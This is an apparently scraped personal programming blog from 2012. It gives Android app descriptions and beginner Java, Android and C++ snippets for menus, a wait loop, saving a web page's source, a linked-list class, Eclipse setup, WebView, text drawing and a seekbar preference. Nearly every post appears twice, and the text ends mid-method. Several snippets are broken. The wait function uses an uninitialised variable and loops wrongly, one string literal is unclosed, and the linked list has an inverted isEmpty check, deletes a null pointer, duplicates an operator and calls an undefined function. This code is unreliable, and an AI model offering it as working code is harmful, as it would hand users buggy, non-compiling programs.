https://play.google.com/store/apps/details?id=com.coolsandie.android.widget
https://play.google.com/store/apps/details?id=com.convert.msd.phill&hl=bg
https://play.google.com/store/apps/details?id=com.msd.didyouknow
Monday, 12 November 2012
Wednesday, 10 October 2012
Did You Know
Did You Know is free android application.
• Here you can find many interesting and new things about the world, people and many other things.
• The application contains 5000 interesting facts that are shuffled automatically each time you start the application
• Here you can find many interesting and new things about the world, people and many other things.
• The application contains 5000 interesting facts that are shuffled automatically each time you start the application
Wednesday, 26 September 2012
My first android app
Converter is designed for fast, efficient, and visual work.
Conversions are made quickly and accurately.
Currency conversions are updated every day.
The application can operate without an internet connection
(except for currency conversion, and distance between cities).
You can calculate the distance between cities Fuel last menu tab
Where except the distance,It`s calculated the time and amount of fuel needed to travel that way.
-Receiving the distance between two cities and proper fuel
-Automatically receive currency updates
-Covert the size shoes and clothes in all categories
-Change language
Convert units in the these categories:
-Currency
-Fuel
-Speed/Time
-Speed
-Length
-Weight
-Volume
-Time
-Area
-Size shoes
-Size Clothes
-Temperature
-Numerals
And more in next update.
If you have any comments or personal preference please email us
We can do exactly what you want.
Create Menu in Android App
// Here is the java code in Main.java
package com.test.menu;
import android.app.Activity;
import android.os.Bundle;
import android.os.Environment;
import android.view.MenuInflater;
import android.view.MenuItem;
public class Main extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
public boolean onCreateOptionsMenu(android.view.Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.activity_main, menu);
return true;
}
public boolean onOptionsItemSelected(MenuItem item) {
// Handle item selection
switch (item.getItemId()) {
case R.id.game:
// code
NewGame(); // start new activity
return true;
case R.id.help:
// code
Help(); // start new activity
return true;
case R.id.exit:
// code
finish(); // exit from the activity
return true;
default:
return super.onOptionsItemSelected(item);
}
}
}
// activity_main.xml
<menu xmlns:android="http://schemas.android.com/apk/res/android" >
<group android:checkableBehavior="single" >
<item
android:id="@+id/game"
android:title="@string/game"/>
<item
android:id="@+id/help"
android:title="@string/help"/>
<item
android:id="@+id/exit"
android:title="@string/exit"/>
</group>
</menu>
// string.xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">Test Menu</string>
<string name="game">New game</string>
<string name="help">Help</string>
<string name="exit">Exit</string>
</resources>
package com.test.menu;
import android.app.Activity;
import android.os.Bundle;
import android.os.Environment;
import android.view.MenuInflater;
import android.view.MenuItem;
public class Main extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
public boolean onCreateOptionsMenu(android.view.Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.activity_main, menu);
return true;
}
public boolean onOptionsItemSelected(MenuItem item) {
// Handle item selection
switch (item.getItemId()) {
case R.id.game:
// code
NewGame(); // start new activity
return true;
case R.id.help:
// code
Help(); // start new activity
return true;
case R.id.exit:
// code
finish(); // exit from the activity
return true;
default:
return super.onOptionsItemSelected(item);
}
}
}
// activity_main.xml
<menu xmlns:android="http://schemas.android.com/apk/res/android" >
<group android:checkableBehavior="single" >
<item
android:id="@+id/game"
android:title="@string/game"/>
<item
android:id="@+id/help"
android:title="@string/help"/>
<item
android:id="@+id/exit"
android:title="@string/exit"/>
</group>
</menu>
// string.xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">Test Menu</string>
<string name="game">New game</string>
<string name="help">Help</string>
<string name="exit">Exit</string>
</resources>
Thursday, 23 August 2012
Wait function in Java
This function waiting n- ms
public static void wait (int n){
long time1, time2;
time1 = System.currentTimeMillis();
do{
time1 = System.currentTimeMillis();
}while (time2 - time1 < n);
}
If you want to set a sec change 'while ( time2 - time1 < n )' to 'while ( time2 - time1 < (n*1000) )'
public static void wait (int n){
long time1, time2;
time1 = System.currentTimeMillis();
do{
time1 = System.currentTimeMillis();
}while (time2 - time1 < n);
}
If you want to set a sec change 'while ( time2 - time1 < n )' to 'while ( time2 - time1 < (n*1000) )'
Read page source code ( Java )
Read page source code and save in text file
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;
public class Network {
public static void main(String[] args) throws IOException {
Writer output = null;
boolean flag = true;
File file = new File("test.txt"); // your file
output = new BufferedWriter(new FileWriter(file));
try {
URL web = new URL("http://youhost.com"); // choice web
BufferedReader in = new BufferedReader( new InputStreamReader(web.openStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
output.write(inputLine + '\n');
in.close();
output.close();
} catch (MalformedURLException me) {
System.out.println(me);
} catch (IOException ioe) {
System.out.println(ioe);
}
}
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;
public class Network {
public static void main(String[] args) throws IOException {
Writer output = null;
boolean flag = true;
File file = new File("test.txt"); // your file
output = new BufferedWriter(new FileWriter(file));
try {
URL web = new URL("http://youhost.com"); // choice web
BufferedReader in = new BufferedReader( new InputStreamReader(web.openStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
output.write(inputLine + '\n');
in.close();
output.close();
} catch (MalformedURLException me) {
System.out.println(me);
} catch (IOException ioe) {
System.out.println(ioe);
}
}
Wednesday, 22 August 2012
Return random symbol (C++)
This function will return random symbol from '0' to '9' or 'A' to 'Z' or 'a' to 'z'
char Random(){
int num = rand()%91;
while(true){
if(num > 47 && num < 58) // 0 to 9
break;
if(num > 64 && num < 91) // A to Z
break;
if(num > 96 && num < 123) // a to z
break;
num = rand()%91;
}
return num;
}
char Random(){
int num = rand()%91;
while(true){
if(num > 47 && num < 58) // 0 to 9
break;
if(num > 64 && num < 91) // A to Z
break;
if(num > 96 && num < 123) // a to z
break;
num = rand()%91;
}
return num;
}
Return the size of you file (C++)
That function will return how bytes is you file
int fsize(FILE *file){
int prev = ftell(file);
fseek(file, 0L, SEEK_END);
int size = ftell(file);
fseek(file,prev,SEEK_SET);
return size;
}
int fsize(FILE *file){
int prev = ftell(file);
fseek(file, 0L, SEEK_END);
int size = ftell(file);
fseek(file,prev,SEEK_SET);
return size;
}
Tuesday, 21 August 2012
Linked List (C++)
Linked list
/////////
multy.h
/////////
template <class T>
class Multy
{
struct Node
{
T data;
Node *next;
Node(T d, Node *n = 0):data(d), next(n) {}
};
Node *head;
public:
Multy(Node *h = 0):head(h){}
~Multy();
bool isEmpty();
T pop_back();
T pop_front();
int GetSize();
void insert(Node *loc, T data);
void push_back(T data);
void push_front(T data);
void erase(Node *loc);
void display();
Node *search(T data);
Node *search(char* str);
bool *Bsearch(T data);
bool *Bsearch(char* str);
bool check(T data);
bool operator==(const Multy&)const;
bool operator!=(const Multy&)const;
Multy &operator= (const Multy &other);
Multy &operator+= (const Multy &other);
Multy &operator-= (const Multy &other);
Multy &operator/= (const Multy &other);
friend Multy<T>* Union (Multy<T>* multy1,Multy<T>* multy2);
friend Multy<T>* Section (Multy<T>* multy1,Multy<T>* multy2);
friend Multy<T>* Difference (Multy<T>* multy1,Multy<T>* multy2);
};
template <class T> Multy* Union (Multy<T>* multy1,Multy<T>* multy2);
template <class T> Multy* Section (Multy<T>* multy1,Multy<T>* multy2);
template <class T> Multy* Difference (Multy<T>* multy1,Multy<T>* multy2);
/////////////
multy.cpp
////////////
#include <iostream>
#include <cstring>
using namespace std;
// destructor
template <class T>
Multy<T>::~Multy()
{
Node *tmp;
while(head) {
tmp = head;
head = head->next;
delete tmp;
}
}
// insert d before loc
template <class T>
void Multy<T>::insert(Node *loc, T d)
{
Node *new_node = new Node(d,0);
if(!head) {
head = new_node;
return;
}
if(loc == head) {
push_front(d);
return;
}
Node *cur = head;
while(cur->next) {
if(cur->next == loc) {
new_node->next = cur->next;
cur->next = new_node;
return ;
}
cur = cur->next;
}
}
template <class T>
void Multy<T>::push_back(T d)
{
Node *new_node = new Node(d,0);
if(!head) {
head = new_node;
return;
}
Node *cur = head;
while(cur) {
if(!cur->next) {
cur->next = new_node;
return;
}
cur = cur->next;
}
}
template <class T>
void Multy<T>::push_front(T d)
{
Node *new_node = new Node(d,0);
if(!head) {
head = new_node;
return;
}
new_node->next = head;
head = new_node;
return;
}
template <class T>
T Multy<T>::pop_back()
{
Node *cur = head;
while(cur) {
if(!cur->next) {
T data (cur->data);
delete cur;
head = NULL;
return data;
}
else {
if(!cur->next->next) {
T data (cur->next->data);
cur->next = NULL;
delete cur->next;
return data;
}
}
cur = cur->next;
}
return NULL;
}
template <class T>
T Multy<T>::pop_front()
{
if(!head) return NULL;
Node *tmp = head;
T data (head->data);
if(head->next) {
head = head->next;
delete tmp;
return data;
}
delete tmp;
head = NULL;
return data;
}
template <class T>
int Multy<T>::GetSize()
{
int count = 0;
Node *tmp = head;
while(tmp!= NULL){
count++;
tmp=tmp->next;
}
return count;
}
template <class T>
bool Multy::isEmpty(){
return head == NULL ? false : true;
}
template <class T>
void Multy<T>::erase(Node *loc)
{
if(loc == head) {
Node *tmp = head;
head = head->next;
delete tmp;
return;
}
Node *cur = head;
while(cur) {
if(cur->next == loc) {
cur->next = loc->next;
delete loc;
}
cur = cur->next;
}
}
template <class T>
class Multy<T>::Node* Multy<T>::search(T d)
{
if(!head) return NULL;
Node* cur = head;
while(cur) {
if(cur->data == d)
return cur;
cur = cur->next;
}
return NULL;
}
template <class T>
class Multy<char*>::Node* Multy<T>::search(char* str)
{
if(!head) return NULL;
Node* cur = head;
while(cur) {
if(cmpstr(cur->data,str) == 0)
return cur;
cur = cur->next;
}
return NULL;
}
template <class T >
bool Multy<char*>::Bsearch(char* str)
{
if(!head) return false;
Node* cur = head;
while(cur) {
if(cmpstr(cur->data,str) == 0)
return true;
cur = cur->next;
}
return false;
}
template <class T>
bool Multy<T>::Bsearch(T d)
{
if(!head) return false;
Node* cur = head;
while(cur) {
if(cur->data == d)
return true;
cur = cur->next;
}
return false;
}
template <class T>
void Multy<T>::display()
{
if(!head) return;
Node *cur = head;
while(cur) {
cout << cur->data << " " << endl;
cur = cur->next;
}
cout << endl;
}
template <class T>
bool Multy::check(T data){
try{
Node *new_node = new Node(data,0);
delete new_node;
}
catch (...){
return false;
}
return true;
}
template<class T>
bool Multy<T>::operator== (const Multy<T> &multy1) const{
if((multy1.isEmpty() == true) && (head == NULL))
return true;
int count = 1;
Node *tmp = head;
while(tmp != NULL){
if(multy1.Bsearch(tmp->data) == false)
return false;
count++;
tmp=tmp->next;
}
if(multy1.GetSize() != count)
return false;
return true;
}
template<class T>
bool Multy<T>::operator!= (const Multy<T> &multy1) const{
if((multy1.isEmpty() == true) && (head == NULL))
return false;
int count = 1;
Node *tmp = head;
while(tmp != NULL){
if(multy1.Bsearch(tmp->data) == true)
return false;
count++;
tmp=tmp->next;
}
if(multy1.GetSize() == count)
return false;
return true;
}
template<class T>
Multy<T>& Multy::operator= (const Multy<T> &other){
if(this != other){
if(head != NULL)
~Multy();
while(other.isEmpty()){
push_back(other.pop_front());
}
}
return *this;
}
template<class T>
Multy<T>& Multy::operator+= (const Multy<T> &other){
return Union(this,other);
}
template<class T>
Multy<T>& Multy::operator-= (const Multy<T> &other){
return Section(this,other);
}
template<class T>
Multy<T>& Multy::operator-= (const Multy<T> &other){
return Difference(this,other);
}
template <class T>
Multy* Union (Multy<T>* multy1,Multy<T>* multy2){
Multy<T> *myMulty = new Multy<T>(NULL);
T data;
while(multy1->isEmpty()){
data = multy1->pop_front();
if((multy2->Bsearch(data)) == true){
multy2->erase(multy2->search(data));
}
myMulty->push_back(data);
}
while(multy2->isEmpty()){
myMulty->push_back(multy2->pop_front());
}
return myMulty;
}
template <class T>
Multy* Section (Multy<T>* multy1,Multy<T>* multy2){
Multy<T> *myMulty = new Multy<T>(NULL);
T data;
while(multy1->isEmpty()){
data = multy1->pop_front();
if((multy2->Bsearch(data)) == true){
myMulty->push_back(data);
}
}
return myMulty;
}
template <class T>
Multy* Difference (Multy<T>* multy1,Multy<T>* multy2){
Multy<T> *myMulty = new Multy<T>(NULL);
T data;
while(multy1->isEmpty()){
data = multy1->pop_front();
if((multy2->Bsearch(data)) == false){
myMulty->push_back(data);
}
}
return myMulty;
}
////////////
main.cpp
//////////
#include <iostream>
#include "multiplicity.h"
using namespace std;
int main() {
Multy<int> *Multy1 = new Multy<int>(NULL);
Multy<double> *Multy2 = new Multy<double>(NULL);
cout << "push_back() 20, 30 40, 50\n\n";
Multy1->push_back(20);
Multy1->push_back(30);
Multy1->push_back(40);
Multy1->push_back(50);
Multy1->display();
cout << "push_front() 10\n\n";
Multy1->push_front(10);
Multy1->display();
cout << "erase 30\n\n";
Multy1->erase(Multy1->search(30));
Multy1->display();
cout << "insert 30 before 40\n\n";
Multy1->insert(Multy1->search(40),30);
Multy1->display();
cout << "pop_back()\n";
cout << Multy1->pop_back() << " just back popped\n\n";
Multy1->display();
cout << "pop_front()\n";
cout << Multy1->pop_front() << " just front popped\n\n";
Multy1->display();
return 0;
}
/////////
multy.h
/////////
template <class T>
class Multy
{
struct Node
{
T data;
Node *next;
Node(T d, Node *n = 0):data(d), next(n) {}
};
Node *head;
public:
Multy(Node *h = 0):head(h){}
~Multy();
bool isEmpty();
T pop_back();
T pop_front();
int GetSize();
void insert(Node *loc, T data);
void push_back(T data);
void push_front(T data);
void erase(Node *loc);
void display();
Node *search(T data);
Node *search(char* str);
bool *Bsearch(T data);
bool *Bsearch(char* str);
bool check(T data);
bool operator==(const Multy&)const;
bool operator!=(const Multy&)const;
Multy &operator= (const Multy &other);
Multy &operator+= (const Multy &other);
Multy &operator-= (const Multy &other);
Multy &operator/= (const Multy &other);
friend Multy<T>* Union (Multy<T>* multy1,Multy<T>* multy2);
friend Multy<T>* Section (Multy<T>* multy1,Multy<T>* multy2);
friend Multy<T>* Difference (Multy<T>* multy1,Multy<T>* multy2);
};
template <class T> Multy* Union (Multy<T>* multy1,Multy<T>* multy2);
template <class T> Multy* Section (Multy<T>* multy1,Multy<T>* multy2);
template <class T> Multy* Difference (Multy<T>* multy1,Multy<T>* multy2);
/////////////
multy.cpp
////////////
#include <iostream>
#include <cstring>
using namespace std;
// destructor
template <class T>
Multy<T>::~Multy()
{
Node *tmp;
while(head) {
tmp = head;
head = head->next;
delete tmp;
}
}
// insert d before loc
template <class T>
void Multy<T>::insert(Node *loc, T d)
{
Node *new_node = new Node(d,0);
if(!head) {
head = new_node;
return;
}
if(loc == head) {
push_front(d);
return;
}
Node *cur = head;
while(cur->next) {
if(cur->next == loc) {
new_node->next = cur->next;
cur->next = new_node;
return ;
}
cur = cur->next;
}
}
template <class T>
void Multy<T>::push_back(T d)
{
Node *new_node = new Node(d,0);
if(!head) {
head = new_node;
return;
}
Node *cur = head;
while(cur) {
if(!cur->next) {
cur->next = new_node;
return;
}
cur = cur->next;
}
}
template <class T>
void Multy<T>::push_front(T d)
{
Node *new_node = new Node(d,0);
if(!head) {
head = new_node;
return;
}
new_node->next = head;
head = new_node;
return;
}
template <class T>
T Multy<T>::pop_back()
{
Node *cur = head;
while(cur) {
if(!cur->next) {
T data (cur->data);
delete cur;
head = NULL;
return data;
}
else {
if(!cur->next->next) {
T data (cur->next->data);
cur->next = NULL;
delete cur->next;
return data;
}
}
cur = cur->next;
}
return NULL;
}
template <class T>
T Multy<T>::pop_front()
{
if(!head) return NULL;
Node *tmp = head;
T data (head->data);
if(head->next) {
head = head->next;
delete tmp;
return data;
}
delete tmp;
head = NULL;
return data;
}
template <class T>
int Multy<T>::GetSize()
{
int count = 0;
Node *tmp = head;
while(tmp!= NULL){
count++;
tmp=tmp->next;
}
return count;
}
template <class T>
bool Multy::isEmpty(){
return head == NULL ? false : true;
}
template <class T>
void Multy<T>::erase(Node *loc)
{
if(loc == head) {
Node *tmp = head;
head = head->next;
delete tmp;
return;
}
Node *cur = head;
while(cur) {
if(cur->next == loc) {
cur->next = loc->next;
delete loc;
}
cur = cur->next;
}
}
template <class T>
class Multy<T>::Node* Multy<T>::search(T d)
{
if(!head) return NULL;
Node* cur = head;
while(cur) {
if(cur->data == d)
return cur;
cur = cur->next;
}
return NULL;
}
template <class T>
class Multy<char*>::Node* Multy<T>::search(char* str)
{
if(!head) return NULL;
Node* cur = head;
while(cur) {
if(cmpstr(cur->data,str) == 0)
return cur;
cur = cur->next;
}
return NULL;
}
template <class T >
bool Multy<char*>::Bsearch(char* str)
{
if(!head) return false;
Node* cur = head;
while(cur) {
if(cmpstr(cur->data,str) == 0)
return true;
cur = cur->next;
}
return false;
}
template <class T>
bool Multy<T>::Bsearch(T d)
{
if(!head) return false;
Node* cur = head;
while(cur) {
if(cur->data == d)
return true;
cur = cur->next;
}
return false;
}
template <class T>
void Multy<T>::display()
{
if(!head) return;
Node *cur = head;
while(cur) {
cout << cur->data << " " << endl;
cur = cur->next;
}
cout << endl;
}
template <class T>
bool Multy::check(T data){
try{
Node *new_node = new Node(data,0);
delete new_node;
}
catch (...){
return false;
}
return true;
}
template<class T>
bool Multy<T>::operator== (const Multy<T> &multy1) const{
if((multy1.isEmpty() == true) && (head == NULL))
return true;
int count = 1;
Node *tmp = head;
while(tmp != NULL){
if(multy1.Bsearch(tmp->data) == false)
return false;
count++;
tmp=tmp->next;
}
if(multy1.GetSize() != count)
return false;
return true;
}
template<class T>
bool Multy<T>::operator!= (const Multy<T> &multy1) const{
if((multy1.isEmpty() == true) && (head == NULL))
return false;
int count = 1;
Node *tmp = head;
while(tmp != NULL){
if(multy1.Bsearch(tmp->data) == true)
return false;
count++;
tmp=tmp->next;
}
if(multy1.GetSize() == count)
return false;
return true;
}
template<class T>
Multy<T>& Multy::operator= (const Multy<T> &other){
if(this != other){
if(head != NULL)
~Multy();
while(other.isEmpty()){
push_back(other.pop_front());
}
}
return *this;
}
template<class T>
Multy<T>& Multy::operator+= (const Multy<T> &other){
return Union(this,other);
}
template<class T>
Multy<T>& Multy::operator-= (const Multy<T> &other){
return Section(this,other);
}
template<class T>
Multy<T>& Multy::operator-= (const Multy<T> &other){
return Difference(this,other);
}
template <class T>
Multy* Union (Multy<T>* multy1,Multy<T>* multy2){
Multy<T> *myMulty = new Multy<T>(NULL);
T data;
while(multy1->isEmpty()){
data = multy1->pop_front();
if((multy2->Bsearch(data)) == true){
multy2->erase(multy2->search(data));
}
myMulty->push_back(data);
}
while(multy2->isEmpty()){
myMulty->push_back(multy2->pop_front());
}
return myMulty;
}
template <class T>
Multy* Section (Multy<T>* multy1,Multy<T>* multy2){
Multy<T> *myMulty = new Multy<T>(NULL);
T data;
while(multy1->isEmpty()){
data = multy1->pop_front();
if((multy2->Bsearch(data)) == true){
myMulty->push_back(data);
}
}
return myMulty;
}
template <class T>
Multy* Difference (Multy<T>* multy1,Multy<T>* multy2){
Multy<T> *myMulty = new Multy<T>(NULL);
T data;
while(multy1->isEmpty()){
data = multy1->pop_front();
if((multy2->Bsearch(data)) == false){
myMulty->push_back(data);
}
}
return myMulty;
}
////////////
main.cpp
//////////
#include <iostream>
#include "multiplicity.h"
using namespace std;
int main() {
Multy<int> *Multy1 = new Multy<int>(NULL);
Multy<double> *Multy2 = new Multy<double>(NULL);
cout << "push_back() 20, 30 40, 50\n\n";
Multy1->push_back(20);
Multy1->push_back(30);
Multy1->push_back(40);
Multy1->push_back(50);
Multy1->display();
cout << "push_front() 10\n\n";
Multy1->push_front(10);
Multy1->display();
cout << "erase 30\n\n";
Multy1->erase(Multy1->search(30));
Multy1->display();
cout << "insert 30 before 40\n\n";
Multy1->insert(Multy1->search(40),30);
Multy1->display();
cout << "pop_back()\n";
cout << Multy1->pop_back() << " just back popped\n\n";
Multy1->display();
cout << "pop_front()\n";
cout << Multy1->pop_front() << " just front popped\n\n";
Multy1->display();
return 0;
}
Friday, 17 August 2012
Installing the Eclipse and ADK
First download Eclipse
http://www.eclipse.org/downloads/
Start Eclipse, then select Help > Install New Software.
From time to time you should make updates.
http://www.eclipse.org/downloads/
Start Eclipse, then select Help > Install New Software.
- Click Add, in the top-right corner.
- In the Add Repository dialog that appears, enter "ADT Plugin" for the Name and the following URL for the Location : https://dl-ssl.google.com/android/eclipse/
- Click OK.
From time to time you should make updates.
- Select Help > Check for Updates.
- If there are updates available, select all, then click Next.
- In the Update Details dialog, click Next.
- Restart Eclipse.
- Select Windows > Android SDK Manager.
- Select all and install packages
Thursday, 16 August 2012
Simple load URL (Android)
package test.app;
import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
WebView web = (WebView) findViewById(R.id.webview);
web.loadUrl("http://www.google.com");
}
private class Callback extends WebViewClient {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return(false);
}
}
}
//main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<WebView android:id="@+id/webview"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</LinearLayout>
import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
WebView web = (WebView) findViewById(R.id.webview);
web.loadUrl("http://www.google.com");
}
private class Callback extends WebViewClient {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return(false);
}
}
}
//main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<WebView android:id="@+id/webview"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</LinearLayout>
Draw text (Android)
package test.app;
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Bundle;
import android.widget.ImageView;
import android.view.View.OnKeyListener;
import android.view.View;
import android.widget.EditText;
public class Test extends Activity {
ImageView drawingImage;
String text;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
addKeyListener();
drawingImage = (ImageView) this.findViewById(R.id.drawingImageView1);
Bitmap bitmap = Bitmap.createBitmap((int) getWindowManager()
.getDefaultDisplay().getWidth(), (int) getWindowManager()
.getDefaultDisplay().getHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
drawingImage.setImageBitmap(bitmap);
// Draw Text
Paint paint = new Paint();
paint.setColor(Color.RED);
paint.setTextSize(64);
float text_x = 120;
float text_y = 120;
canvas.drawText(text, text_x, text_y, paint);
}
private void addKeyListener() {
final EditText edittext1 = (EditText) findViewById(R.id.editText1);
edittext1.setOnKeyListener(new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
if ((event.getAction() == KeyEvent.ACTION_DOWN)
&& (keyCode == KeyEvent.KEYCODE_ENTER)) {
text = edittext1.getText().toString();
return true;
}
return false;
}
});
}
}
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Bundle;
import android.widget.ImageView;
import android.view.View.OnKeyListener;
import android.view.View;
import android.widget.EditText;
public class Test extends Activity {
ImageView drawingImage;
String text;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
addKeyListener();
drawingImage = (ImageView) this.findViewById(R.id.drawingImageView1);
Bitmap bitmap = Bitmap.createBitmap((int) getWindowManager()
.getDefaultDisplay().getWidth(), (int) getWindowManager()
.getDefaultDisplay().getHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
drawingImage.setImageBitmap(bitmap);
// Draw Text
Paint paint = new Paint();
paint.setColor(Color.RED);
paint.setTextSize(64);
float text_x = 120;
float text_y = 120;
canvas.drawText(text, text_x, text_y, paint);
}
private void addKeyListener() {
final EditText edittext1 = (EditText) findViewById(R.id.editText1);
edittext1.setOnKeyListener(new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
if ((event.getAction() == KeyEvent.ACTION_DOWN)
&& (keyCode == KeyEvent.KEYCODE_ENTER)) {
text = edittext1.getText().toString();
return true;
}
return false;
}
});
}
}
Wednesday, 15 August 2012
Change spinner style (Android)
You must create a new xml file. spinner.xml
spinner_pressed and spinner_normal are the images and they should end with .9.png
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item
android:state_pressed="true"
android:drawable="@drawable/spinner_pressed" />
<item
android:drawable="@drawable/spinner_normal" />
</selector>
After that put this where is declar Spinners
<Spinner
.....
android:background="@drawable/spinner.xml"
.....
/>
Image Button ( Android )
package com.test.android;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setTitle("TestImageButton);
setContentView(R.layout.main);
}
}
//main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="fill_parent"
android:layout_height="wrap_content">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ImageButton" />
<ImageButton android:id="@+id/imagebutton"
android:src="@drawable/icon"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</LinearLayout>
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setTitle("TestImageButton);
setContentView(R.layout.main);
}
}
//main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="fill_parent"
android:layout_height="wrap_content">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ImageButton" />
<ImageButton android:id="@+id/imagebutton"
android:src="@drawable/icon"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</LinearLayout>
Tuesday, 14 August 2012
TextView and change text with button ( Android )
package com.test.android;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
public class Test extends Activity {
private TextView t1;
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
t1 = new TextView(this);
t1 = (TextView)findViewById(R.id.text1);
t1.setText(" Hello ");
addBtnListener();
}
private void addBtnListener() {
btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
t1.setText(" My name is Android ");
}
});
}
}
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
public class Test extends Activity {
private TextView t1;
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
t1 = new TextView(this);
t1 = (TextView)findViewById(R.id.text1);
t1.setText(" Hello ");
addBtnListener();
}
private void addBtnListener() {
btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
t1.setText(" My name is Android ");
}
});
}
}
Monday, 13 August 2012
Seekbar (Android)
package com.test.seekbar;
import com.test.seekbar.R;
import android.content.Context;
import android.util.AttributeSet;
import android.view.LayoutInflater;
import android.view.View;
import android.preference.DialogPreference;
import android.widget.SeekBar;
import android.widget.TextView;
import android.widget.SeekBar.OnSeekBarChangeListener;
public final class SeekBarPreference extends DialogPreference implements OnSeekBarChangeListener {
// Default values
private static final int DEFAULT_CURRENT_VALUE = 50;
private static final int DEFAULT_MIN_VALUE = 0;
private static final int DEFAULT_MAX_VALUE = 100;
private final int DefaultValue;
private final int MaxValue;
private final int MinValue;
private int mCurrentValue;
private SeekBar SeekBar;
private TextView ValueText;
public SeekBarPreference(Context context, AttributeSet attrs) {
super(context, attrs);
MinValue = attrs.getAttributeIntValue("http://schemas.android.com/apk/res/com.mnm.seekbarpreference", "minValue", DEFAULT_MIN_VALUE);
MaxValue = attrs.getAttributeIntValue("http://schemas.android.com/apk/res/com.mnm.seekbarpreference", "maxValue", DEFAULT_MAX_VALUE);
DefaultValue = attrs.getAttributeIntValue("http://schemas.android.com/apk/res/android", "defaultValue", DEFAULT_CURRENT_VALUE);
}
@Override
protected View onCreateDialogView() {
mCurrentValue = getPersistedInt(DefaultValue);
LayoutInflater inflater = (LayoutInflater) getContext().getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View view = inflater.inflate(R.layout.dialog_slider, null);
((TextView) view.findViewById(R.id.min)).setText(Integer.toString(MinValue));
((TextView) view.findViewById(R.id.max)).setText(Integer.toString(MaxValue));
SeekBar = (SeekBar) view.findViewById(R.id.seek_bar);
SeekBar.setMax(MaxValue - MinValue);
SeekBar.setProgress(mCurrentValue - MinValue);
SeekBar.setOnSeekBarChangeListener(this);
ValueText = (TextView) view.findViewById(R.id.current_value);
ValueText.setText(Integer.toString(mCurrentValue));
return view;
}
@Override
protected void onDialogClosed(boolean positiveResult) {
super.onDialogClosed(positiveResult);
if (!positiveResult) {
return;
}
